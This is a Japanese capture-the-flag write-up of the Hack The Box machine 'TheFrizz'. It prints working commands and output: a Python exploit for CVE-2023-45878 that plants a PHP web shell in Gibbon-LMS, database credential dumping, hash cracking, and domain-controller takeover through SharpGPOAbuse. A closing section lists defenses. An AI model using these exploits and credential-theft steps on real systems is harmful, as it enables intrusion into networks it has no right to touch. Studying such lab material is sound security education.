Hack The BoxのWriteup(TheFrizz)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: TheFrizz — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC frizzdc.frizz.htb / Gibbon-LMS
CVE-2023-45878
Gibbon-LMS 認証不要ファイル書込RCE
Webシェル
frizz\w.webservice RCE
config.php + MySQL
f.frizzleのSHA256ハッシュ奪取
hashcat crack
Jenni_Luvs_Magic23
Kerberos SSH
user.txt ✓
ゴミ箱復元
WAPTバックアップ→m.schoolbusパスワード
Group Policy Creator Owners
SharpGPOAbuseでSYSTEMタスク注入
gpupdate /force
root.txt ✓

ポートスキャンとAD検出

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.232.168
nmap -sV -sC -p 22,53,80,88,135,139,389,445,636,3268,3269,9389 10.129.232.168
RESULT
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
                             (Domain: frizz.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds
3268/tcp open  ldap          Global Catalog LDAP
9389/tcp open  adws          Active Directory Web Services
|_clock-skew: 6h59m34s
ℹ️
LDAPのバナーから即座にドメイン frizz.htb と判明。Active Directoryドメインコントローラであり、Kerberos(88番)が稼働しているため SSHもパスワード認証ではなくGSSAPI(Kerberos)認証が 使われる可能性が高い。clock-skewがおよそ7時間と大きく、 後続のKerberos操作はfaketimeでクライアント側の時刻を ターゲットに合わせる必要がある。
BASH
echo "10.129.232.168  frizz.htb frizzdc.frizz.htb" | sudo tee -a /etc/hosts
curl -sI http://10.129.232.168/
RESULT
HTTP/1.1 302 Found
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Location: http://frizzdc.frizz.htb/home/
ℹ️
ルートへのアクセスが http://frizzdc.frizz.htb/home/ へリダイレクトされ、”Walkerville Elementary School” のサイトが 表示される。Staff Loginページから Gibbon-LMS (学校向け学習管理システム) が動いていることが確認できる。
PHASE 2

CVE-2023-45878: Gibbon-LMS 認証不要ファイル書き込みRCE

脆弱性の背景

NOTE
Gibbon-LMS (v25.0.00) の rubrics_visualise_saveAjax.php は、
評価ルーブリック描画時に生徒の作品画像をBase64データとして受け取り
サーバー側に保存する機能を持つが、認証チェックとファイル拡張子
検証が欠落している(CVE-2023-45878)。"img" パラメータの形式を
"image/png;asdf,<base64>" (data:URIではなく独自の簡易形式で
"base64" ではなくリテラル文字列 "asdf" を区切りに使う特有の実装) に
すると、指定した任意のファイル名・拡張子で任意内容のファイルを
Webルート配下に書き込める。PHPファイルとして保存すればRCEに直結する。
PYTHON (公開PoC davidzzo23/CVE-2023-45878 に準拠した形式)
import base64, requests

shell_php = "<?php system($_REQUEST['cmd']); ?>"
b64_payload = base64.b64encode(shell_php.encode()).decode()
shell_name = "kcr_shell.php"

upload_url = "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php"
form = {
    "img": f"image/png;asdf,{b64_payload}",
    "path": shell_name,
    "gibbonPersonID": "0000000001",
}
requests.post(upload_url, data=form, timeout=12)
⚠️
重要: img パラメータは "data:image/png;base64,..."のような一般的なdata URI 形式ではなく、"image/png;asdf,<base64>" という 独自形式でなければ受理されない(asdf はリテラル文字列)。 gibbonPersonID フィールドも必須。

RCE確認

BASH
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kcr_shell.php?cmd=whoami"
RESULT
frizz\w.webservice
Webシェルが/Gibbon-LMS/kcr_shell.phpに設置され、 サービスアカウントfrizz\w.webserviceとしてコマンド実行 ができる状態になった。
PHASE 3

DB資格情報奪取 → ハッシュクラック → Kerberos SSH → user.txt

Gibbon-LMS設定ファイルからDB資格情報を取得

BASH
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kcr_shell.php" \
  --data-urlencode 'cmd=type C:\xampp\htdocs\Gibbon-LMS\config.php' -G
RESULT
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseServer   = 'localhost';
$databaseName     = 'gibbon';

MySQLからf.frizzleのパスワードハッシュを抽出

BASH
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kcr_shell.php" --data-urlencode \
  'cmd=c:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "select username,passwordStrong,passwordStrongSalt from gibbonperson where username=\'f.frizzle\';"' -G
RESULT
username    passwordStrong                                                   passwordStrongSalt
f.frizzle   067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c0   /aACFhikmNopqrRTVz2489

ハッシュクラック (SHA256 + salt, hashcat mode 1420)

BASH
echo '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c0:/aACFhikmNopqrRTVz2489' > fiona_hash.txt
hashcat -m 1420 fiona_hash.txt /usr/share/wordlists/rockyou.txt --quiet
hashcat -m 1420 fiona_hash.txt --show
RESULT
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c0:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23

Kerberos TGT取得とSSHログイン

NOTE
sshd はパスワード認証を許可しておらず、gssapi-with-mic(Kerberos)
認証のみ有効。サンドボックスのシステム時計とターゲットの時計が
約7時間ずれているため(clock-skew参照)、KRB_AP_ERR_SKEWを避けるため
faketimeでクライアント時刻をnet time -Sで取得したターゲット時刻へ
合わせてからKerberos関連コマンドを実行する。また、SSHの接続先は
"frizz.htb" ではなくDCの実ホスト名 "frizzdc.frizz.htb" である必要が
ある(SPN host/frizz.htb がKerberosデータベースに存在せず
"Server not found in Kerberos database" になるため)。
BASH
cat > krb5.conf <<'EOF'
[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
FRIZZ.HTB = { kdc = frizzdc.frizz.htb }
[domain_realm]
.frizz.htb = FRIZZ.HTB
EOF
export KRB5_CONFIG=./krb5.conf

TIMESTR=$(net time -S 10.129.232.168)
EPOCH=$(date -d "$TIMESTR" +%s)
faketime "@$EPOCH" impacket-getTGT -dc-ip 10.129.232.168 frizz.htb/f.frizzle:'Jenni_Luvs_Magic23'
export KRB5CCNAME=f.frizzle.ccache

faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  f.frizzle@frizzdc.frizz.htb powershell -Command "Get-Content C:\Users\f.frizzle\Desktop\user.txt"
RESULT
[*] Saving ticket in f.frizzle.ccache
56cfa4224ff5f1a8366b8d21a7868b84
user.txt — f.frizzle
56cfa4224ff5f1a8366b8d21a7868b84
PHASE 4

ゴミ箱からWAPTバックアップを復元してm.schoolbusのパスワードを奪取

ごみ箱内のWAPTバックアップをデスクトップへ復元

NOTE
f.frizzleのデスクトップには見当たらないが、ごみ箱に
"wapt-backup-sunday.7z" が削除済みで残っている。Shell.Application
COMオブジェクトのRecycle Bin名前空間(0xA)からアイテムを検索し、
MoveHere()でデスクトップへ復元する。
BASH (PowerShell経由)
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  f.frizzle@frizzdc.frizz.htb powershell -Command '
$rb=(New-Object -ComObject Shell.Application).NameSpace(0xA);
$item=$rb.Items() | Where-Object {$_.Name -eq "wapt-backup-sunday.7z"} | Select-Object -First 1;
if ($item) {
  $dst=(New-Object -ComObject Shell.Application).NameSpace([Environment]::GetFolderPath("Desktop"));
  $dst.MoveHere($item);
}'

scp -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  f.frizzle@frizzdc.frizz.htb:C:/Users/f.frizzle/Desktop/wapt-backup-sunday.7z ./
RESULT
wapt-backup-sunday.7z                        100%  XXX KB

アーカイブ展開とwaptserver.iniからパスワード抽出

BASH
7z x -y -owapt_extract wapt-backup-sunday.7z
cat wapt_extract/wapt/conf/waptserver.ini
RESULT
[options]
allow_unauthenticated_registration = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
BASH
echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d
RESULT
!suBcig@MehTed!R
⚠️
注意: 展開先アーカイブには.exe.sqliteなどのバイナリファイルが多数含まれる。 wapt_passwordという文字列で全ファイルを無差別に 正規表現走査すると、たまたまバイナリ内の偶然の一致を拾って 文字化けした誤ったパスワードを抽出してしまうことがあるため、 必ず本物の設定ファイル wapt/conf/waptserver.ini (.templateではない方)だけを対象にすること。

m.schoolbusとしてログイン確認

BASH
faketime "@$EPOCH" impacket-getTGT -dc-ip 10.129.232.168 frizz.htb/m.schoolbus:'!suBcig@MehTed!R'
export KRB5CCNAME=m.schoolbus.ccache
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  m.schoolbus@frizzdc.frizz.htb powershell -Command "whoami /groups"
RESULT
GROUP INFORMATION
-----------------
frizz\Desktop Admins                    Group  ...
frizz\Group Policy Creator Owners       Group  ...
m.schoolbusGroup Policy Creator Owners グループのメンバー。ドメイン管理者権限がなくても新規GPOを作成でき、 自分が作成したGPOに任意の設定を追加できる — これがroot昇格の鍵となる。
PHASE 5

Group Policy Creator Owners 悪用によるSYSTEM権限奪取

新規GPO作成とDomain Controllers OUへのリンク

BASH (PowerShell経由)
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  m.schoolbus@frizzdc.frizz.htb powershell -Command '
New-GPO -Name "kcr-thefrizz-privesc" |
  New-GPLink -Target "OU=Domain Controllers,DC=FRIZZ,DC=HTB" -LinkEnabled Yes'
RESULT
GpoId       : 0709be5a-92d8-4edd-a784-b4ac6d535437
DisplayName : kcr-thefrizz-privesc
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2
ℹ️
Group Policy Creator Ownersのメンバーは自分が作成した GPOに対しては作成者(オーナー)としてフルコントロール を持つため、GPOの新規作成とOUへのリンクが可能。Domain Controllers OUへリンクすることで、DC自身(SYSTEM権限で動作するコンピュータ アカウント)にこのGPOが適用される。

SharpGPOAbuseでコンピュータの即時タスクを注入

BASH (SharpGPOAbuse.exeをSCPでDCへ転送後、実行)
scp -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  SharpGPOAbuse.exe m.schoolbus@frizzdc.frizz.htb:C:/Users/m.schoolbus/Desktop/

faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  m.schoolbus@frizzdc.frizz.htb powershell -Command '
& "C:\Users\m.schoolbus\Desktop\SharpGPOAbuse.exe" --AddComputerTask `
  --GPOName "kcr-thefrizz-privesc" --Author KCR --TaskName KCRRoot `
  --Command "powershell.exe" `
  --Arguments " -NoP -W Hidden -Command Copy-Item C:\Users\Administrator\Desktop\root.txt C:\Users\Public\root.txt -Force; icacls C:\Users\Public\root.txt /grant Everyone:F"'
RESULT
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] GUID of "kcr-thefrizz-privesc" is: {0709BE5A-92D8-4EDD-A784-B4AC6D535437}
[+] Creating file \\frizz.htb\SysVol\...\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
🚨
ハマりどころ: SharpGPOAbuse.exeの ロングオプション名は大文字小文字を区別する (--addcomputertaskではなく--AddComputerTask--gponameではなく--GPOName等)。また --Argumentsに渡す値が-NoP ...のように “-“から始まると、内部の引数パーサーがそれを新しい フラグと誤認し"[!] Unknown argument error."で 失敗する。値の先頭に半角スペースを1つ入れることでこの誤認識を 回避できる(Windowsのコマンドライン解析上、先頭の空白は実行時に 無視されるため実害はない)。

gpupdate /force でGPOを強制適用

BASH
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  m.schoolbus@frizzdc.frizz.htb powershell -Command "gpupdate /force"
RESULT
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.
ℹ️
GPOが再適用されるとGPOプリファレンスのScheduledTasks拡張機能が コンピュータ起動時に即時実行されるタスクをDC上に作成し、 SYSTEM権限root.txtC:\Users\Public\へコピーして誰でも読めるように パーミッションを変更するコマンドを実行する。

root.txt 取得

BASH
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
  m.schoolbus@frizzdc.frizz.htb powershell -Command "Get-Content C:\Users\Public\root.txt"
RESULT
5705934a57b2f854c3701a03e6bc536d
root.txt — SYSTEM経由コピー
5705934a57b2f854c3701a03e6bc536d
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — f.frizzle
56cfa4224ff5f1a8366b8d21a7868b84
root.txt — SYSTEM経由
5705934a57b2f854c3701a03e6bc536d

使用した脆弱性・悪用手法

脆弱性/手法 対象 影響 深刻度 利用方法
CVE-2023-45878 Gibbon-LMS (v25.0.00) 認証不要の任意ファイル書き込みRCE Critical rubrics_visualise_saveAjax.phpの独自img形式(image/png;asdf,<b64>)を悪用しPHP Webシェルを任意パスへ書き込む
DB資格情報平文保存 Gibbon-LMS config.php MySQL資格情報漏洩 High Webルート外だが読み取り可能なconfig.phpから直接DBパスワードを取得
ゴミ箱への機密バックアップ残置 f.frizzleのDesktop/Recycle Bin WAPTサーバーパスワード漏洩 High 削除済みだが復元可能な7zバックアップにbase64エンコードされたパスワードが平文同然で保存
Group Policy Creator Owners悪用 m.schoolbusの過剰な委任権限 ドメインコントローラでのSYSTEM権限奪取 Critical 自作GPOをDomain Controllers OUへリンクし、SharpGPOAbuseで即時実行タスクを注入、gpupdate /forceでSYSTEM権限のコード実行を達成

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + AD LDAP指紋frizz.htb AD DC発見
2初期侵入CVE-2023-45878 Gibbon-LMS RCEfrizz\w.webservice シェル
3横展開config.php + MySQL + hashcatf.frizzle:Jenni_Luvs_Magic23 → user.txt
4資格情報窃取ゴミ箱復元 + WAPTバックアップ解析m.schoolbus:!suBcig@MehTed!R
5権限昇格GPO Creator Owners + SharpGPOAbuseroot.txt(SYSTEM)

学んだ教訓 & 防御策

問題点防御策
Gibbon-LMSの評価ルーブリック画像アップロード処理に認証・拡張子検証が欠落している Gibbon-LMSを修正済みバージョンへ更新する。アップロード処理は必ず認証済みセッションと厳格な拡張子/MIME検証を要求する。
Webアプリの設定ファイル(config.php)にDB資格情報が平文で保存されている 秘密情報は環境変数やシークレット管理システム(Vault等)で管理し、Webルート内には保存しない。
削除しただけのファイル(ゴミ箱)がバックアップとして機密パスワードを保持している 不要になった機密情報を含むファイルはゴミ箱から完全削除(Shift+Delete)するか、機密情報自体を暗号化保存する。
一般ユーザーアカウントが「Group Policy Creator Owners」の強力な委任権限を持つ GPO作成権限は必要最小限のユーザーにのみ付与し、日常業務アカウントには付与しない。GPO変更の監査ログを有効化する。
HackTheBox: TheFrizz | 完全攻略レポート